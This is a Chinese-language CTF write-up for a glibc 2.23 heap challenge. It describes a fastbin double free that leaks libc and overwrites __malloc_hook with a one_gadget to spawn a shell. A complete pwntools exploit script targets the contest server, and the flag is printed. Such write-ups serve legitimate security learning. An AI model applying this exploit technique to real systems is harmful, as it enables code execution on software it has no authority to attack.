![image](https://hackmd.io/_uploads/H1AbZoE4C.png)

解法先創建一個``0x108``大小的chunk(0)，再創建一個``0x68``大小的chunk(1)，把0跟top chunk分開，避免free掉之後併回去top chunk
delete(0)之後show(0)獲取libc address，反推libc base。
接著創建一個``0x68``大小的chunk(3)，依照1、3、1順序delete
這時fastbin內就存在了double free的狀況，可以先去找一個合適的地方做任意寫入，這裡選擇竄改``__malloc_hook``
需要偽造size，``&__malloc_hook - 0x23``的位置剛好有個``0x7f``可以利用，決定寫入點
![image](https://hackmd.io/_uploads/Hk35wiN4C.png)

接著create大小``0x68``chunk就會拿到原本的1，此時在裡面填入決定好的address``&__malloc_hook - 0x23``偽造``fd``
create兩個``0x68``大小的chunk，再create一個``0x68``大小的chunk，就會拿到我們的寫入點，寫入東西把``__malloc_hook``竄改

如果``__malloc_hook``有寫東西進去，在執行``malloc``時，libc就會把``__malloc_hook``裡面的東西當成位址並跳轉過去執行。所以我們如果填寫一些one_gadget或是system的address進去，libc就會跳轉過去執行，就可以得到一個shell。

至於最後要寫什麼在``__malloc_hook``裡面，我手上剛好有一些one_gadget，這裡就帶大夥一個一個嘗試
![image](https://hackmd.io/_uploads/H1iFOo4VC.png)

最後發現第三個one_gadget``0xf1247``可以用，所以就在``__malloc_hook``內填入這個one_gadget的地址

Solve:
```python=
def add(size, content):
        r.sendlineafter(b"> ", b"1")
        r.sendlineafter(b"> ", str(size).encode())
        r.sendlineafter(b": ", content)

def delete(option):
        r.sendlineafter(b"> ", b"3")
        r.sendlineafter(b"> ", str(option).encode())

from pwn import *

r = remote("chals1.ais3.org", 50003)
# r = process("./inception", env={"LD_PRELOAD":"./libc-2.23.so"})
# r = process("./inception")

add(2, b"\0"*(0x28)+p64(0x7f))
add(3, b"leak")
add(2, b"gap")
delete(2)

r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"2")
r.recvline()
libc = u64(r.recv(6)+b"\0\0") - 0x3c4b78
print("libc base -> "+hex(libc))

delete(1)
delete(3)
delete(1)

r.sendlineafter(b"> ", b"2")
r.sendlineafter(b"> ", b"1")
r.recvline()
heap = u64(r.recv(6)+b"\0\0") - 0x290
print("heap base -> "+hex(heap))

__malloc_hook = libc + 0x3c4b10
tgpos = __malloc_hook - 0x23

print(f"__malloc_hook -> {hex(__malloc_hook)}")

print(f"target pos -> {hex(tgpos)}")

r.sendlineafter(b"> ", b"1")
r.sendlineafter(b"> ", b"2")
r.sendafter(b": ", p64(tgpos))

add(2, b"a")
add(2, b"a")

# raw_input()
add(2, b'a'*0x13 + p64(libc+0xf1247))

r.interactive()
```

![image](https://hackmd.io/_uploads/Sk-Jqi440.png)

腳本裡面沒有包含改寫``__malloc_hook``之後要再去執行一次``malloc``的部分，這部分手動

Flag: ``AIS3{Y0u_h4v3_b33n_succ3ssfully_r3cru1t3d_t0_my_t34m}``

# Crypto

我是腦殘，啥都解不出來